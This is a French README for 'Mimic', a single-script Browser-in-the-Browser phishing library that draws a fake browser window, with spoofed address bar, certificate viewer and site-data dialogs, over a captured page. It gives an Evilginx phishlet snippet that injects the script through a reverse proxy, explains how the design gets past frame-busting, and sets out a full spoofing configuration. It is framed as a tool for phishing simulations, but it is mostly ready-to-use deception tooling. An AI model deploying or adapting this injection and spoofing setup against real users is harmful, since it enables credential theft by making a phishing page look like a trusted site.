
Frameless Browser‑in‑the‑Browser (BitB) - Pas d'iframes, pas de problèmes de frame‑busting. Une bibliothèque Shadow DOM / MutationObserver en un seul script pour des simulations de phishing réalistes, facilement injectable via un proxy inverse.
Navigateur-dans-le-navigateur sans iframes (BitB) - Pas d'iframes, pas de problèmes de frame-busting. Une bibliothèque Shadow DOM / MutationObserver à script unique pour des simulations de phishing réalistes, facilement injectable via un proxy inverse.
⚠️ Avertissement : N'utilisez ce logiciel qu'en conformité avec votre législation en vigueur. Une mauvaise utilisation de ce logiciel peut soulever des problèmes juridiques et éthiques que je ne soutiens pas et dont je ne peux être tenu responsable.
MalwareMonster et moi avons développé une preuve de concept dans cette veine il y a environ sept ans, appelée FISHY. Le projet a démontré avec succès le vecteur BitB, bien que l'utilisabilité fût nettement limitée. mrd0x a ensuite porté ce concept à l'attention plus large de la communauté de recherche en sécurité avec son projet BITB environ deux ans plus tard. Cependant, la forte dépendance aux iframes s'est révélée incompatible avec les techniques modernes de frame-busting. Bien que des substitutions aient pu être utilisées pour réécrire le JavaScript de frame-busting, cette approche s'est avérée fastidieuse et a nécessité des ajustements continus.
waelmas a ensuite publié frameless-bitb environ deux ans plus tard, introduisant un mécanisme particulièrement ingénieux. En remplaçant l'iframe par un Shadow DOM associé à un MutationObserver, il a effectivement réassigné le contenu de phishing dans un div au sein du document principal. Point crucial, ce contenu restait partie intégrante du DOM principal plutôt que de résider dans un cadre isolé. Étant donné que la page de phishing était elle-même toujours le DOM principal, les routines de frame-busting n'étaient jamais invoquées en premier lieu. Cela a résolu l'obstacle technique central, représenté un progrès significatif et fourni une base conceptuelle solide pour de futurs raffinements.
Avec cette innovation, waelmas nous a effectivement rendu la main. Son implémentation reposait sur une architecture plus distribuée, nécessitant l'installation de services, une configuration Apache, des fichiers HTML, CSS et JavaScript séparés, des interfaces utilisateur distinctes, ainsi qu'une sélection statique du système d'exploitation (Windows ou macOS) sans détection dynamique du navigateur. Bien que ces éléments fussent raisonnables vu le caractère de preuve de concept, nous avons reconnu que la logique centrale Shadow DOM et MutationObserver pouvait être isolée et injectée directement dans notre proxy inverse Evilginx existant via un script unique. Cela nous a permis de produire une bibliothèque JavaScript légère et sans dépendances qui rend un faux navigateur réaliste dans n'importe quelle page web sans iframes, tout en préservant la technique de contournement créative que waelmas avait initialement inaugurée.
Mimic crée un faux navigateur réaliste par-dessus la page web actuelle, avec une barre d'adresse, des contrôles de fenêtre, des informations sur le site, les détails du certificat, les cookies et les données du site, des thèmes et un style spécifique au système d'exploitation.
Plutôt que de charger le site web cible dans une iframe, Mimic prend le DOM réel du site web et l'injecte directement dans la zone d'affichage du faux navigateur.
Le faux navigateur lui-même vit à l'intérieur d'un Shadow DOM ouvert, ce qui isole ses styles de ceux du site web. Le site web reste dans le light DOM et est inséré dans le faux navigateur via :
<slot name="mimic-content"></slot>
Si aucun content n'est fourni, Mimic capture automatiquement la page actuelle en déplaçant le contenu existant de son corps dans un conteneur interne. Il préserve les styles importants tels que l'arrière-plan, la couleur du texte, les polices, la taille de police et la hauteur de ligne avant d'injecter le site web dans le faux navigateur.
Comme le site web est déplacé dans le faux navigateur plutôt que d'être intégré dans un autre contexte de navigation, il reste la véritable page de premier niveau.
Cela signifie que les vérifications traditionnelles de frame-busting basées sur les iframes, telles que :
if (top !== self) {
top.location = self.location;
}
ne se déclenchent pas, car :
top === self
Le site web croit toujours qu'il s'exécute en tant que page de premier niveau. Son JavaScript existant, ses événements, son stockage, sa navigation et sa logique applicative continuent de fonctionner normalement pendant que la page est visuellement contenue dans le faux navigateur.
Mimic met également automatiquement à l'échelle le site web injecté pour l'adapter à la zone d'affichage du faux navigateur. Le défilement est géré par translation de la couche de contenu, tandis que les écouteurs de redimensionnement et MutationObserver remesurent le contenu à mesure que le site web se charge ou change.
L'onglet du navigateur réel peut également être contrôlé à l'aide de documentTitle et documentFavicon. Mimic surveille ces deux valeurs et les restaure si le site web tente de les modifier.
Mimic est un encapsulage visuel, pas un bac à sable JavaScript. Le site web injecté conserve l'accès aux API réelles
window,document, au stockage, à l'historique et à la navigation.
Ajoutez ceci à votre YAML de phishlet pour injecter Mimic :
script: |
// Inject the BitB script
(function () {
window.addEventListener('load', () => {
var s = document.createElement('script');
s.src = 'https://0x4meliorate.github.io/Mimic/mimic.js';
s.onload = function () {
openBrowserWindow({ debug: false });
};
document.body.appendChild(s);
});
})();
La configuration peut être modifiée directement dans la CONFIG de mimic.js, ou elle peut être passée comme arguments lorsque la fonction (openBrowserWindow) est invoquée :
openBrowserWindow({
// Displayed URL
domain: 'example.com',
addressText: '/login',
scheme: 'https://',
// Fake browser
pageTitle: 'Example - Sign in',
favicon: 'https://example.com/favicon.ico',
// Real browser tab
documentTitle: 'Example App',
documentFavicon: 'https://example.com/app.ico',
// Content
// HTMLElement, CSS selector, HTML string, or function
// Leave empty to capture the current website automatically
content: '',
contentWidth: 0,
// Fake browser size
windowWidth: 'min(800px, 95vw)',
windowHeight: 'min(650px, 90vh)',
// Browser-style links
learnMoreUrl: 'https://example.com/security',
siteSettingsUrl: 'https://example.com/settings',
// Cookie summary
cookies: {
sitesAllowed: '5 sites allowed'
},
// Behaviour
autoOpen: false,
os: null, // null (auto) | 'mac' | 'windows' | 'linux'
theme: 'auto', // 'auto' | 'light' | 'dark'
debug: false,
onClose: null,
// Landing page
landing: true, // true | false | custom HTML string
enterSelector: '#landingpage-enter-btn',
// On-device site data
siteData: {
intro: 'Sites may save activity to your device.',
manageLinkText: 'Manage site data',
manageUrl: '',
sections: [
{
title: "Data from the site that you're visiting",
description: 'Information stored by this site.',
sites: [
{ name: 'example.com' },
{
name: 'cdn.example.com',
subtitle: 'Additional site information'
}
]
}
]
},
// Certificate viewer
certificate: {
subject: {
commonName: 'example.com',
organisation: 'Example Corporation',
organisationalUnit: '<Not part of certificate>'
},
issuer: {
commonName: 'Example TLS CA',
organisation: 'Example Certificate Authority',
organisationalUnit: '<Not part of certificate>'
},
validity: {
issuedOn: '10 August 2026',
expiresOn: '18 November 2026'
},
fingerprints: {
certificate: '...',
publicKey: '...'
},
hierarchy: {
name: 'Example Root CA',
children: [
{
name: 'Example Intermediate CA'
}
]
},
fields: {
name: 'example.com',
children: [
{
name: 'Certificate',
children: [
{ name: 'Version', value: 'V3' },
{ name: 'Serial Number', value: '...' },
{ name: 'Subject', value: 'CN = example.com' }
]
}
]
}
}
});
Capturez et injectez le site web actuel :
openBrowserWindow();
Ouvrez sans la page de destination :
openBrowserWindow({
landing: false
});
Ouvrez automatiquement la fenêtre du faux navigateur :
openBrowserWindow({
autoOpen: true
});
Activez le débogage (commutation du système d'exploitation et du thème) :
openBrowserWindow({
debug: true
});
Remplacez manuellement l'apparence :
openBrowserWindow({
os: 'windows',
theme: 'dark'
});
Définissez le contenu de la fenêtre du faux navigateur (élément, sélecteur, chaîne HTML ou fonction à injecter dans le faux navigateur) :
openBrowserWindow({
content: '#page-content'
});
| Option | Description |
|---|
domain | Domaine affiché dans la barre d'adresse du faux navigateur |
addressText | Chemin et requête affichés après le domaine |
scheme | Schéma d'URL affiché |
pageTitle | Titre de la fenêtre du faux navigateur |
favicon | Favicon du faux navigateur |
documentTitle | Titre de l'onglet du navigateur réel |
documentFavicon | Favicon de l'onglet du navigateur réel |
content | Élément, sélecteur, chaîne HTML ou fonction à injecter dans le faux navigateur |
contentWidth | Largeur de base utilisée lors de la mise à l'échelle du site web injecté |
windowWidth | Largeur du faux navigateur |
windowHeight | Hauteur du faux navigateur |
learnMoreUrl | Destination du lien de sécurité En savoir plus |
siteSettingsUrl | Destination des paramètres du site |
cookies | Configuration du résumé des cookies |
autoOpen | Ouvre automatiquement le faux navigateur lorsque la page de destination est créée |
os | null, mac, windows ou linux ; null utilise la détection automatique |
theme | auto, light ou dark |
debug | Affiche le sélecteur de système d'exploitation et de thème |
onClose | Fonction appelée lorsque le faux navigateur se ferme |
landing | Active, désactive ou remplace la page de destination |
enterSelector | Sélecteur de l'élément de la page de destination qui ouvre le faux navigateur |
siteData | Configure la boîte de dialogue des données du site sur l'appareil |
certificate | Configure la visionneuse de certificats |